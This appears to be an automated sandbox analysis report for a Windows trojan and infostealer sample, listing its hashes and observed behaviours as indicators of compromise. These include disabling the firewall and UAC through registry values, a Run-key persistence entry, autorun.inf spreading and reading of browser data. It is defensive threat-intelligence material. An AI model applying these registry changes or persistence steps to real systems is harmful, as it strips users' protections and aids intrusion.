651ab623fd17c7f10d52327cc1421d97e8e099e0b044ab8870f175cdcc0ad839

Analysis

max time kernel
140s
max time network
133s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
09/09/2024, 09:23

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

d607dc520a218010b46f50ddfa2c87b4_JaffaCakes118.exe
Size

397KB
MD5

d607dc520a218010b46f50ddfa2c87b4
SHA1

ba28c41b9452f396e3f9acd52094c128e27ef398
SHA256

651ab623fd17c7f10d52327cc1421d97e8e099e0b044ab8870f175cdcc0ad839
SHA512

0024af340622678b55cb776cde474c8ad01eff624162282907be9a58012e526aff469eec0716f9a7495a7cef4f83f72868948cb0d1beba3215aba13cc346a820
SSDEEP

12288:ewNZEWXpjmtW2ebrUSLhbjuQbbPsCDREpjCi:WWXpWvsrU2JuMREpjCi

Score

10^/10

discovery evasion persistence privilege_escalation spyware stealer trojan

Malware Config

Signatures

Modifies firewall policy service 3 TTPs 4 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\EnableFirewall = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\EnableFirewall = "0"	reg.exe

UAC bypass 3 TTPs 2 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
22	2104	cmd.exe

Modifies Windows Firewall 2 TTPs 4 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2892	netsh.exe
2388	netsh.exe
3000	netsh.exe
2400	netsh.exe

Sets file to hidden 1 TTPs 24 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
2628	attrib.exe
2280	attrib.exe
3056	attrib.exe
3052	attrib.exe
1704	attrib.exe
1572	attrib.exe
1592	attrib.exe
3012	attrib.exe
2492	attrib.exe
2736	attrib.exe
2052	attrib.exe
1056	attrib.exe
1040	attrib.exe
2344	attrib.exe
1836	attrib.exe
1824	attrib.exe
1696	attrib.exe
2144	attrib.exe
892	attrib.exe
932	attrib.exe
1792	attrib.exe
2112	attrib.exe
2908	attrib.exe
1564	attrib.exe

Executes dropped EXE 2 IoCs

pid	Process
1832	XIo2qNiS.XIo2qNiS
1260	rawcircle.scr

Loads dropped DLL 6 IoCs

pid	Process
2104	cmd.exe
2104	cmd.exe
376	wmplayer.exe
2404	d607dc520a218010b46f50ddfa2c87b4_JaffaCakes118.exe
1832	XIo2qNiS.XIo2qNiS
1260	rawcircle.scr

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 7 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows\CurrentVersion\Run\advant = "C:\\Users\\Admin\\AppData\\Roaming\\advant.exe"	wmplayer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows\CurrentVersion\Run\advant = "C:\\Users\\Admin\\AppData\\Roaming\\advant.exe"	d607dc520a218010b46f50ddfa2c87b4_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows\CurrentVersion\Run\advant = "C:\\Users\\Admin\\AppData\\Roaming\\advant.exe"	XIo2qNiS.XIo2qNiS
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows\CurrentVersion\Run\advant = "C:\\Users\\Admin\\AppData\\Roaming\\advant.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows\CurrentVersion\Run\advant = "C:\\Users\\Admin\\AppData\\Roaming\\advant.exe"	rawcircle.scr
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows\CurrentVersion\Run\advant = "C:\\Users\\Admin\\AppData\\Roaming\\advant.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows\CurrentVersion\Run\advant = "C:\\Users\\Admin\\AppData\\Roaming\\advant.exe"	cmd.exe

Drops desktop.ini file(s) 7 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Music\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Public\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Public\Music\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Admin\Videos\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Public\Videos\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Admin\Pictures\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Public\Pictures\desktop.ini	wmplayer.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\X:	wmplayer.exe
File opened (read-only)	\??\Z:	wmplayer.exe
File opened (read-only)	\??\G:	wmplayer.exe
File opened (read-only)	\??\K:	wmplayer.exe
File opened (read-only)	\??\O:	wmplayer.exe
File opened (read-only)	\??\R:	wmplayer.exe
File opened (read-only)	\??\S:	wmplayer.exe
File opened (read-only)	\??\W:	wmplayer.exe
File opened (read-only)	\??\U:	wmplayer.exe
File opened (read-only)	\??\A:	wmplayer.exe
File opened (read-only)	\??\I:	wmplayer.exe
File opened (read-only)	\??\J:	wmplayer.exe
File opened (read-only)	\??\L:	wmplayer.exe
File opened (read-only)	\??\Q:	wmplayer.exe
File opened (read-only)	\??\T:	wmplayer.exe
File opened (read-only)	\??\H:	wmplayer.exe
File opened (read-only)	\??\M:	wmplayer.exe
File opened (read-only)	\??\Y:	wmplayer.exe
File opened (read-only)	\??\B:	wmplayer.exe
File opened (read-only)	\??\E:	wmplayer.exe
File opened (read-only)	\??\N:	wmplayer.exe
File opened (read-only)	\??\P:	wmplayer.exe
File opened (read-only)	\??\V:	wmplayer.exe

Drops autorun.inf file 1 TTPs 22 IoCs

Malware can abuse Windows Autorun to spread further via attached volumes.

Replication Through Removable Media

T1091

description	ioc	Process
File created	F:\autorun.inf	XIo2qNiS.XIo2qNiS
File created	C:\autorun.inf	cmd.exe
File created	F:\autorun.inf	wmplayer.exe
File created	D:\autorun.inf	cmd.exe
File opened for modification	F:\autorun.inf	wmplayer.exe
File opened for modification	C:\autorun.inf	attrib.exe
File opened for modification	C:\autorun.inf	attrib.exe
File opened for modification	F:\autorun.inf	attrib.exe
File opened for modification	F:\autorun.inf	attrib.exe
File created	F:\autorun.inf	cmd.exe
File created	F:\autorun.inf	d607dc520a218010b46f50ddfa2c87b4_JaffaCakes118.exe
File created	D:\autorun.inf	d607dc520a218010b46f50ddfa2c87b4_JaffaCakes118.exe
File opened for modification	C:\autorun.inf	wmplayer.exe
File opened for modification	F:\autorun.inf	attrib.exe
File created	C:\autorun.inf	wmplayer.exe
File opened for modification	C:\autorun.inf	cmd.exe
File opened for modification	F:\autorun.inf	cmd.exe
File created	D:\autorun.inf	wmplayer.exe
File opened for modification	C:\autorun.inf	attrib.exe
File created	C:\autorun.inf	d607dc520a218010b46f50ddfa2c87b4_JaffaCakes118.exe
File created	C:\autorun.inf	XIo2qNiS.XIo2qNiS
File created	D:\autorun.inf	XIo2qNiS.XIo2qNiS

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\pcclean.exe	attrib.exe
File created	C:\Windows\SysWOW64\pcclean.exe	cmd.exe
File opened for modification	C:\Windows\SysWOW64\pcclean.exe	cmd.exe
File opened for modification	C:\Windows\SysWOW64\pcclean.exe	attrib.exe
File opened for modification	C:\Windows\SysWOW64\pcclean.exe	attrib.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 64 IoCs

pid	Process
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
2404	d607dc520a218010b46f50ddfa2c87b4_JaffaCakes118.exe
2104	cmd.exe
376	wmplayer.exe
2104	cmd.exe
2104	cmd.exe
2104	cmd.exe
376	wmplayer.exe
376	wmplayer.exe
376	wmplayer.exe
2404	d607dc520a218010b46f50ddfa2c87b4_JaffaCakes118.exe
2404	d607dc520a218010b46f50ddfa2c87b4_JaffaCakes118.exe
2404	d607dc520a218010b46f50ddfa2c87b4_JaffaCakes118.exe
2104	cmd.exe
2104	cmd.exe
2104	cmd.exe
2104	cmd.exe
2104	cmd.exe
2104	cmd.exe

Launches sc.exe 6 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
564	sc.exe
1392	sc.exe
2464	sc.exe
860	sc.exe
1692	sc.exe
944	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 12 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wmplayer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	XIo2qNiS.XIo2qNiS
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Modifies Control Panel 4 IoCs

evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Control Panel\Desktop\ScreenSaveTimeOut = "60"	XIo2qNiS.XIo2qNiS
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Control Panel\Desktop\ScreenSaveActive = "1"	rawcircle.scr
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Control Panel\Desktop\ScreenSaveTimeOut = "60"	rawcircle.scr
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Control Panel\Desktop\ScreenSaveActive = "1"	XIo2qNiS.XIo2qNiS

Modifies Internet Explorer settings 1 TTPs 28 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Internet Explorer\Main	reg.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\Main	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\Show_URLinStatusBar = "yes"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\Show_StatusBar = "yes"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MINIE\ShowStatusBar = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\Main	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Internet Explorer\Main	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\Show_FullURL = "yes"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_WEBOC_POPUPMANAGEMENT = "0"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\MINIE	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MINIE\ShowStatusBar = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\MINIE	reg.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl	reg.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\Main	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\Show_StatusBar = "yes"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_WEBOC_POPUPMANAGEMENT = "0"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Internet Explorer\Main\Check_Associations = "no"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Internet Explorer\Main	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\Main	reg.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\Main	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\Show_FullURL = "yes"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\Show_URLinStatusBar = "yes"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Internet Explorer\Main	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Internet Explorer\Main\Check_Associations = "no"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\Main	reg.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/x-wmplayer	wmplayer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/x-wmplayer\CLSID = "{cd3afa96-b84f-48f0-9393-7edc34128127}"	wmplayer.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS
1832	XIo2qNiS.XIo2qNiS

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
Token: SeDebugPrivilege	1832	XIo2qNiS.XIo2qNiS
